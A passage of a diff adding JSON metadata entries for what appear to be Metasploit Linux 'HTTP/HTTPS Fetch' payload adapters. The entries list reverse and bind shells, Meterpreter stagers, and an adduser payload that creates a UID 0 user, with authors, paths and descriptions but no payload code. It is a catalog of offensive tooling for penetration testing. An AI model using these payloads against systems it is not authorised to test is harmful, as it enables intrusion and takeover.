"autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/http/x86/shell_reverse_tcp_ipv6": { + "name": "HTTP Fetch, Linux Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/http/x86/shell_reverse_tcp_ipv6", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Matteo Malvica " + ], + "description": "Fetch and execute a x86 payload from an HTTP server.\nConnect back to attacker and spawn a command shell over IPv6", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/http/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/http/x86/shell_reverse_tcp_ipv6", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/mips64/meterpreter_reverse_http": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/mips64/meterpreter_reverse_https": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/mips64/meterpreter_reverse_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/mips64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an MIPS64 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/mips64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/mips64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/exec": { + "name": "HTTPS Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/https/x64/exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky", + "Geyslan G. Bem " + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/meterpreter/bind_tcp": { + "name": "HTTPS Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Brent Cook ", + "ricky" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/meterpreter/reverse_sctp": { + "name": "HTTPS Fetch, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Brent Cook ", + "RageLtMan " + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/meterpreter/reverse_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/meterpreter/reverse_tcp": { + "name": "HTTPS Fetch, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x64/meterpreter/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Brent Cook ", + "ricky", + "tkmru" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/meterpreter/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/meterpreter_reverse_http": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_http", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/meterpreter_reverse_http", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/meterpreter_reverse_https": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_https", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/meterpreter_reverse_https", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/meterpreter_reverse_tcp": { + "name": "HTTPS Fetch", + "fullname": "payload/cmd/linux/https/x64/meterpreter_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Adam Cammack ", + "Brent Cook ", + "timwr" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/meterpreter_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/pingback_bind_tcp": { + "name": "HTTPS Fetch, Linux x64 Pingback, Bind TCP Inline", + "fullname": "payload/cmd/linux/https/x64/pingback_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nAccept a connection from attacker and report UUID (Linux x64)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/pingback_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/pingback_reverse_tcp": { + "name": "HTTPS Fetch, Linux x64 Pingback, Reverse TCP Inline", + "fullname": "payload/cmd/linux/https/x64/pingback_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "bwatters-r7" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and report UUID (Linux x64)", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/pingback_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/shell/bind_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Stager", + "fullname": "payload/cmd/linux/https/x64/shell/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nListen for a connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/shell/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/shell/reverse_sctp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse SCTP Stager", + "fullname": "payload/cmd/linux/https/x64/shell/reverse_sctp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky", + "RageLtMan " + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/shell/reverse_sctp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/shell/reverse_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Stager", + "fullname": "payload/cmd/linux/https/x64/shell/reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky", + "tkmru" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a command shell (staged).\n\nConnect back to the attacker", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/shell/reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/shell_bind_ipv6_tcp": { + "name": "HTTPS Fetch, Linux x64 Command Shell, Bind TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/https/x64/shell_bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "epi " + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for an IPv6 connection and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/shell_bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/shell_bind_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Inline", + "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nListen for a connection and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/shell_bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/shell_bind_tcp_random_port": { + "name": "HTTPS Fetch, Linux Command Shell, Bind TCP Random Port Inline", + "fullname": "payload/cmd/linux/https/x64/shell_bind_tcp_random_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Geyslan G. Bem " + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\n\n Listen for a connection in a random port and spawn a command shell.\n Use nmap to discover the open port: 'nmap -sS target -p-'.", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/shell_bind_tcp_random_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/shell_find_port": { + "name": "HTTPS Fetch, Linux Command Shell, Find Port Inline", + "fullname": "payload/cmd/linux/https/x64/shell_find_port", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "mak" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nSpawn a shell on an established connection", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/shell_find_port", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/shell_reverse_ipv6_tcp": { + "name": "HTTPS Fetch, Linux x64 Command Shell, Reverse TCP Inline (IPv6)", + "fullname": "payload/cmd/linux/https/x64/shell_reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "epi " + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell over IPv6", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/shell_reverse_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x64/shell_reverse_tcp": { + "name": "HTTPS Fetch, Linux Command Shell, Reverse TCP Inline", + "fullname": "payload/cmd/linux/https/x64/shell_reverse_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "ricky" + ], + "description": "Fetch and execute an x64 payload from an HTTPS server.\nConnect back to attacker and spawn a command shell", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-05-25 11:49:38 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x64.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x64/shell_reverse_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/adduser": { + "name": "HTTPS Fetch, Linux Add User", + "fullname": "payload/cmd/linux/https/x86/adduser", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "skape ", + "vlad902 ", + "spoonm " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nCreate a new user with UID 0", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/adduser", + "check": false, + "post_auth": true, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/chmod": { + "name": "HTTPS Fetch, Linux Chmod", + "fullname": "payload/cmd/linux/https/x86/chmod", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "kris katterjohn " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nRuns chmod on specified file with specified mode", + "references": [ + + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/chmod", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/exec": { + "name": "HTTPS Fetch, Linux Execute Command", + "fullname": "payload/cmd/linux/https/x86/exec", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "vlad902 ", + "Geyslan G. Bem " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nExecute an arbitrary command or just a /bin/sh shell", + "references": [ + "URL-https://github.com/geyslan/SLAE/blob/master/4th.assignment/tiny_execve_sh.asm", + "URL-https://github.com/geyslan/SLAE/blob/master/improvements/x86_execve_dyn.asm" + ], + "platform": "Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/exec", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/generic/debug_trap": { + "name": "HTTPS Fetch, Generic x86 Debug Trap", + "fullname": "payload/cmd/linux/https/x86/generic/debug_trap", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "robert " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nGenerate a debug trap in the target process", + "references": [ + + ], + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/generic/debug_trap", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/generic/tight_loop": { + "name": "HTTPS Fetch, Generic x86 Tight Loop", + "fullname": "payload/cmd/linux/https/x86/generic/tight_loop", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "jduck " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nGenerate a tight loop in the target process", + "references": [ + + ], + "platform": "BSD,BSDi,Linux,OSX,Solaris,Windows", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/generic/tight_loop", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp": { + "name": "HTTPS Fetch, Bind IPv6 TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "kris katterjohn ", + "egypt " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for an IPv6 connection (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter/bind_ipv6_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid": { + "name": "HTTPS Fetch, Bind IPv6 TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "kris katterjohn ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for an IPv6 connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter/bind_ipv6_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter/bind_nonx_tcp": { + "name": "HTTPS Fetch, Bind TCP Stager", + "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_nonx_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter/bind_nonx_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter/bind_tcp": { + "name": "HTTPS Fetch, Bind TCP Stager (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter/bind_tcp", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter/bind_tcp_uuid": { + "name": "HTTPS Fetch, Bind TCP Stager with UUID Support (Linux x86)", + "fullname": "payload/cmd/linux/https/x86/meterpreter/bind_tcp_uuid", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape ", + "egypt ", + "OJ Reeves" + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nListen for a connection with UUID Support (Linux x86)", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter/bind_tcp_uuid", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter/find_tag": { + "name": "HTTPS Fetch, Find Tag Stager", + "fullname": "payload/cmd/linux/https/x86/meterpreter/find_tag", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "skape " + ], + "description": "Fetch and execute an x86 payload from an HTTPS server.\nUse an established connection", + "references": [ + + ], + "platform": "Linux,Linux", + "arch": "cmd", + "rport": null, + "autofilter_ports": null, + "autofilter_services": null, + "targets": null, + "mod_time": "2023-06-09 16:47:45 +0000", + "path": "/modules/payloads/adapters/cmd/linux/https/x86.rb", + "is_install_path": true, + "ref_name": "cmd/linux/https/x86/meterpreter/find_tag", + "check": false, + "post_auth": false, + "default_credential": false, + "notes": { + }, + "session_types": false, + "needs_cleanup": false + }, + "payload_cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp": { + "name": "HTTPS Fetch, Reverse TCP Stager (IPv6)", + "fullname": "payload/cmd/linux/https/x86/meterpreter/reverse_ipv6_tcp", + "aliases": [ + + ], + "rank": 300, + "disclosure_date": null, + "type": "payload", + "author": [ + "Brendan Watters", + "Spencer McIntyre", + "William Webb ", + "kris katterjohn " + ], + 